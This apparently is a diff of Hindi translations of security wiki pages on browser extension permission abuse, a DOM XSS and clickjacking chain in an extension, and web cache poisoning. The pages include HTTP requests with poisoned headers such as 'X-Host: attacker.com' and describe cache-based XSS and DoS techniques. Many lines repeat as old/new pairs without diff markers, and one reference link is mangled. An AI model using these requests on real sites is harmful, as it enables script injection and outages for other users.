> ब्राउज़र एक्सटेंशनों के साथ ऐसा नहीं है। **यदि एक ब्राउज़र एक्सटेंशन** [**आपके वेबकैम या माइक्रोफोन तक पहुँच चाहता है**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, तो इसे केवल एक बार अनुमति मांगने की आवश्यकता होती है।**
|
||||
|
||||
आमतौर पर, एक एक्सटेंशन इसे स्थापित होने के तुरंत बाद करेगा। एक बार जब इस प्रॉम्प्ट को स्वीकार कर लिया जाता है, तो **किसी भी समय वेबकैम तक पहुँच संभव है**, भले ही उपयोगकर्ता इस समय एक्सटेंशन के साथ बातचीत नहीं कर रहा हो। हाँ, एक उपयोगकर्ता केवल तभी इस प्रॉम्प्ट को स्वीकार करेगा जब एक्सटेंशन को वास्तव में वेबकैम की आवश्यकता हो। लेकिन उसके बाद उन्हें एक्सटेंशन पर भरोसा करना होगा कि वह कुछ भी गुप्त रूप से रिकॉर्ड नहीं करेगा।
|
||||
आमतौर पर, एक एक्सटेंशन ऐसा करने के लिए स्थापित होने के तुरंत बाद ऐसा करेगा। एक बार जब इस प्रॉम्प्ट को स्वीकार कर लिया जाता है, तो **किसी भी समय वेबकैम तक पहुँच संभव है**, भले ही उपयोगकर्ता इस समय एक्सटेंशन के साथ बातचीत नहीं कर रहा हो। हाँ, एक उपयोगकर्ता केवल तभी इस प्रॉम्प्ट को स्वीकार करेगा जब एक्सटेंशन को वास्तव में वेबकैम की आवश्यकता हो। लेकिन उसके बाद उन्हें एक्सटेंशन पर भरोसा करना होगा कि वह कुछ भी गुप्त रूप से रिकॉर्ड नहीं करेगा।
|
||||
|
||||
[आपके सटीक भौगोलिक स्थान](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) या [आपकी क्लिपबोर्ड की सामग्री](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) तक पहुँच प्राप्त करने के लिए, अनुमति स्पष्ट रूप से देना पूरी तरह से अनावश्यक है। **एक एक्सटेंशन बस अपने मैनिफेस्ट के** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **में `geolocation` या `clipboard` जोड़ता है।** ये पहुँच विशेषाधिकार तब स्वचालित रूप से दिए जाते हैं जब एक्सटेंशन स्थापित होता है। इसलिए एक दुर्भावनापूर्ण या समझौता किया गया एक्सटेंशन इन विशेषाधिकारों के साथ आपकी गतिविधियों की प्रोफ़ाइल बना सकता है या आपकी क्लिपबोर्ड की निगरानी कर सकता है कि आपने पासवर्ड कॉपी किए बिना आप कुछ भी नहीं देखेंगे।
|
||||
[आपके सटीक भौगोलिक स्थान](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) या [आपकी क्लिपबोर्ड की सामग्री](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) तक पहुँच प्राप्त करने के लिए, अनुमति स्पष्ट रूप से देना पूरी तरह से अनावश्यक है। **एक एक्सटेंशन बस अपने मैनिफेस्ट के** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **में `geolocation` या `clipboard` जोड़ता है।** ये पहुँच विशेषाधिकार तब एक्सटेंशन स्थापित होने पर निहित रूप से दिए जाते हैं। इसलिए एक दुर्भावनापूर्ण या समझौता किया गया एक्सटेंशन इन विशेषाधिकारों के साथ आपकी गतिविधि प्रोफ़ाइल बना सकता है या बिना आपको कुछ भी नोटिस किए पासवर्ड की नकल के लिए आपके क्लिपबोर्ड की निगरानी कर सकता है।
|
||||
|
||||
**`history`** कीवर्ड को एक्सटेंशन मैनिफेस्ट के [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) में जोड़ने से **`history API`** तक पहुँच मिलती है। यह उपयोगकर्ता के पूरे ब्राउज़िंग इतिहास को एक बार में प्राप्त करने की अनुमति देता है, बिना उपयोगकर्ता को इन वेबसाइटों पर फिर से जाने के लिए इंतज़ार किए।
|
||||
**`history`** कीवर्ड को एक्सटेंशन मैनिफेस्ट के [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) में जोड़ने से **`history API`** तक पहुँच मिलती है। यह उपयोगकर्ता के पूरे ब्राउज़िंग इतिहास को एक बार में प्राप्त करने की अनुमति देता है, बिना उपयोगकर्ता को इन वेबसाइटों पर फिर से जाने की प्रतीक्षा किए।
|
||||
|
||||
**`bookmarks`** **अनुमति** में समान दुरुपयोग की संभावनाएँ हैं, यह सभी बुकमार्क को [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) के माध्यम से पढ़ने की अनुमति देती है।
|
||||
**`bookmarks`** **अनुमति** में समान दुरुपयोग की संभावनाएँ हैं, यह सभी बुकमार्क्स को [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) के माध्यम से पढ़ने की अनुमति देती है।
|
||||
|
||||
### स्टोरेज अनुमति <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||
|
||||
@ -99,9 +99,9 @@ Permissions को extension के **`manifest.json`** फ़ाइल मे
|
||||
|
||||
गूगल के डेवलपर की नीति स्पष्ट रूप से एक्सटेंशनों को उनकी कार्यक्षमता के लिए आवश्यक से अधिक विशेषाधिकार मांगने से मना करती है, जिससे अत्यधिक अनुमति अनुरोधों को प्रभावी ढंग से कम किया जा सके। एक उदाहरण जहां एक ब्राउज़र एक्सटेंशन ने इस सीमा को पार किया, वह इसके वितरण में था जो ब्राउज़र के साथ ही हुआ न कि किसी ऐड-ऑन स्टोर के माध्यम से।
|
||||
|
||||
ब्राउज़र एक्सटेंशन विशेषाधिकार के दुरुपयोग को और भी कम कर सकते हैं। उदाहरण के लिए, क्रोम के [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) और [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, जो स्क्रीन रिकॉर्डिंग के लिए उपयोग किए जाते हैं, दुरुपयोग को कम करने के लिए डिज़ाइन किए गए हैं। tabCapture API केवल सीधे उपयोगकर्ता की बातचीत के माध्यम से सक्रिय किया जा सकता है, जैसे कि एक्सटेंशन आइकन पर क्लिक करना, जबकि desktopCapture को रिकॉर्ड किए जाने के लिए विंडो के लिए उपयोगकर्ता की पुष्टि की आवश्यकता होती है, गुप्त रिकॉर्डिंग गतिविधियों को रोकने के लिए।
|
||||
ब्राउज़र एक्सटेंशन विशेषाधिकार के दुरुपयोग को और भी कम कर सकते हैं। उदाहरण के लिए, क्रोम के [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) और [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, जो स्क्रीन रिकॉर्डिंग के लिए उपयोग किए जाते हैं, दुरुपयोग को कम करने के लिए डिज़ाइन किए गए हैं। tabCapture API केवल सीधे उपयोगकर्ता की बातचीत के माध्यम से सक्रिय किया जा सकता है, जैसे कि एक्सटेंशन आइकन पर क्लिक करना, जबकि desktopCapture को रिकॉर्ड किए जाने के लिए विंडो के लिए उपयोगकर्ता की पुष्टि की आवश्यकता होती है, जिससे गुप्त रिकॉर्डिंग गतिविधियों को रोका जा सके।
|
||||
|
||||
हालांकि, सुरक्षा उपायों को कड़ा करने से अक्सर एक्सटेंशनों की लचीलापन और उपयोगकर्ता-मित्रता में कमी आती है। [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) इस व्यापार-बंद को दर्शाता है। इसे इस आवश्यकता को समाप्त करने के लिए पेश किया गया था कि एक्सटेंशनों को पूरे इंटरनेट में होस्ट विशेषाधिकार मांगने की आवश्यकता न हो, जिससे एक्सटेंशनों को केवल उपयोगकर्ता द्वारा स्पष्ट रूप से सक्रिय किए जाने पर वर्तमान टैब तक पहुँचने की अनुमति मिलती है। यह मॉडल उन एक्सटेंशनों के लिए प्रभावी है जिन्हें उपयोगकर्ता-प्रेरित क्रियाओं की आवश्यकता होती है लेकिन उन लोगों के लिए कमज़ोर है जिन्हें स्वचालित या पूर्व-निर्धारित क्रियाओं की आवश्यकता होती है, जिससे सुविधा और तात्कालिक प्रतिक्रिया में समझौता होता है।
|
||||
हालांकि, सुरक्षा उपायों को कड़ा करने से अक्सर एक्सटेंशनों की लचीलापन और उपयोगकर्ता-मित्रता में कमी आती है। [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) इस व्यापार-बंद को दर्शाता है। इसे इस आवश्यकता को समाप्त करने के लिए पेश किया गया था कि एक्सटेंशनों को पूरे इंटरनेट में होस्ट विशेषाधिकारों के लिए अनुरोध करने की आवश्यकता हो, जिससे एक्सटेंशनों को केवल उपयोगकर्ता द्वारा स्पष्ट रूप से सक्रिय किए जाने पर वर्तमान टैब तक पहुँचने की अनुमति मिलती है। यह मॉडल उन एक्सटेंशनों के लिए प्रभावी है जिन्हें उपयोगकर्ता-प्रेरित क्रियाओं की आवश्यकता होती है लेकिन उन लोगों के लिए कमज़ोर है जिन्हें स्वचालित या पूर्व-निर्धारित क्रियाओं की आवश्यकता होती है, जिससे सुविधा और तात्कालिक प्रतिक्रिया में समझौता होता है।
|
||||
|
||||
## **संदर्भ**
|
||||
|
||||
|
@ -15,7 +15,7 @@ encodeURIComponent(result.message) +
|
||||
frame.src = constructedURL
|
||||
})
|
||||
```
|
||||
एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, **`message.html`**, को URL में दिए गए पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
|
||||
एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, **`message.html`**, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
|
||||
```javascript
|
||||
$(document).ready(() => {
|
||||
let urlParams = new URLSearchParams(window.location.search)
|
||||
@ -58,7 +58,7 @@ document.body.append(newFrame)
|
||||
|
||||
यह उदाहरण [मूल पोस्ट लेख](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) से लिया गया था।
|
||||
|
||||
मुख्य समस्या **`/html/bookmarks.html`** में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाली JavaScript, जो **`bookmarks.js`** का हिस्सा है, नीचे विस्तृत की गई है:
|
||||
मुख्य समस्या **`/html/bookmarks.html`** में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाला JavaScript, जो **`bookmarks.js`** का हिस्सा है, नीचे विस्तृत किया गया है:
|
||||
```javascript
|
||||
$("#btAdd").on("click", function () {
|
||||
var bookmarkName = $("#txtName").val()
|
||||
@ -84,7 +84,7 @@ persistData()
|
||||
|
||||
हालांकि यह कमजोरी महत्वपूर्ण है, इसका शोषण आमतौर पर उपयोगकर्ता इंटरैक्शन पर निर्भर करता है: पृष्ठ पर जाना, XSS पेलोड दर्ज करना, और “Add” बटन को सक्रिय करना।
|
||||
|
||||
इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक **clickjacking** कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत `web_accessible_resources` नीति को प्रदर्शित करता है:
|
||||
इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक **क्लिकजैकिंग** कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत `web_accessible_resources` नीति को प्रदर्शित करता है:
|
||||
```json
|
||||
"web_accessible_resources": [
|
||||
"html/bookmarks.html",
|
||||
@ -94,9 +94,9 @@ persistData()
|
||||
[...]
|
||||
],
|
||||
```
|
||||
विशेष रूप से, **`/html/bookmarks.html`** पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार **clickjacking** के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफ़ेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।
|
||||
विशेष रूप से, **`/html/bookmarks.html`** पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार **clickjacking** के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||||
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## अंतर
|
||||
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?**
|
||||
> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी के बीच क्या अंतर है?**
|
||||
>
|
||||
> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री स्टोर करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से परोसी जाती है।
|
||||
> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में स्टोर करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
|
||||
@ -16,16 +16,16 @@
|
||||
कैश पॉइज़निंग हमले के कार्यान्वयन में कई चरण शामिल हैं:
|
||||
|
||||
1. **अनकीद इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
|
||||
2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश संदूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
2. **अनकीद इनपुट का शोषण**: अनकीद इनपुट की पहचान करने के बाद, अगला कदम यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
|
||||
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम कदम यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश संदूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
|
||||
|
||||
### खोज: HTTP हेडर की जांच करें
|
||||
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP कैश हेडर**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)।
|
||||
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP कैश हेडर**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)।
|
||||
|
||||
### खोज: कैशिंग त्रुटि कोड
|
||||
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर हो रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
|
||||
आप अधिक विकल्प पा सकते हैं:
|
||||
|
||||
@ -43,26 +43,26 @@ cache-poisoning-to-dos.md
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
|
||||
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
|
||||
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
|
||||
|
||||
### प्रतिक्रिया को कैश करें
|
||||
|
||||
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में लाने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करना पड़ सकता है।
|
||||
|
||||
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\
|
||||
**`Cache-Control`** हेडर भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब वह संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
**`Cache-Control`** हेडर भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
|
||||
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **संकेतित करने** के लिए उपयोग किया जाता है जो **कैश कुंजी** का **भाग** माने जाते हैं, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के `User-Agent` को जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के भाग के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार की `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
|
||||
|
||||
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
|
||||
|
||||
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
एक अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं।
|
||||
|
||||
## शोषण के उदाहरण
|
||||
|
||||
### सबसे आसान उदाहरण
|
||||
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\
|
||||
एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।\
|
||||
आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### वेब कैश पॉइज़निंग कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण करने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
|
||||
```markup
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### सीमित `Vary` हेडर के साथ शोषण
|
||||
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को बाहर निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
यदि आप पाते हैं कि **`X-Host`** हेडर **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +125,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln जो जेम्स केटल ने Github वेबसाइट पर पाया:
|
||||
URL में अनुरोध और शरीर में अनुरोध के साथ GET अनुरोध भेजें। यदि वेब सर्वर शरीर से एक का उपयोग करता है लेकिन कैश सर्वर URL से एक को कैश करता है, तो कोई भी उस URL को एक्सेस करने पर वास्तव में शरीर से पैरामीटर का उपयोग करेगा। जैसे कि vuln James Kettle ने Github वेबसाइट पर पाया:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -164,7 +164,7 @@ ATS ने URL के अंदर के अंश को बिना हट
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता है।
|
||||
GitLab स्थिर सामग्री को स्टोर करने के लिए GCP बकेट का उपयोग करता है। **GCP Buckets** **हेडर `x-http-method-override`** का समर्थन करते हैं। इसलिए हेडर `x-http-method-override: HEAD` भेजना और कैश को खाली प्रतिक्रिया शरीर लौटाने के लिए विषाक्त करना संभव था। यह `PURGE` विधि का भी समर्थन कर सकता था।
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
@ -172,7 +172,7 @@ Ruby on Rails अनुप्रयोगों में, Rack मिडलव
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
Cloudflare ने पहले 403 प्रतिक्रियाओं को कैश किया था। गलत प्राधिकरण हेडर के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 प्रतिक्रिया उत्पन्न होती थी जो कैश हो जाती थी। हालांकि Cloudflare ने 403 प्रतिक्रियाओं को कैश करना बंद कर दिया है, यह व्यवहार अन्य प्रॉक्सी सेवाओं में अभी भी मौजूद हो सकता है।
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
@ -184,7 +184,7 @@ Cloudflare ने पहले 403 प्रतिक्रियाओं क
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) हेडर नामों में स्वीकार्य वर्णों को निर्दिष्ट करता है। हेडर में निर्दिष्ट **tchar** रेंज के बाहर के वर्णों को शामिल करने वाले हेडर को आदर्श रूप से 400 Bad Request प्रतिक्रिया उत्पन्न करनी चाहिए। व्यवहार में, सर्वर हमेशा इस मानक का पालन नहीं करते हैं। एक उल्लेखनीय उदाहरण Akamai है, जो अवैध वर्णों वाले हेडर को अग्रेषित करता है और किसी भी 400 त्रुटि को कैश करता है, जब तक कि `cache-control` हेडर मौजूद नहीं है। एक exploitable पैटर्न की पहचान की गई थी जहां अवैध वर्ण जैसे `\` वाला हेडर भेजने से कैशेबल 400 Bad Request त्रुटि उत्पन्न होती है।
|
||||
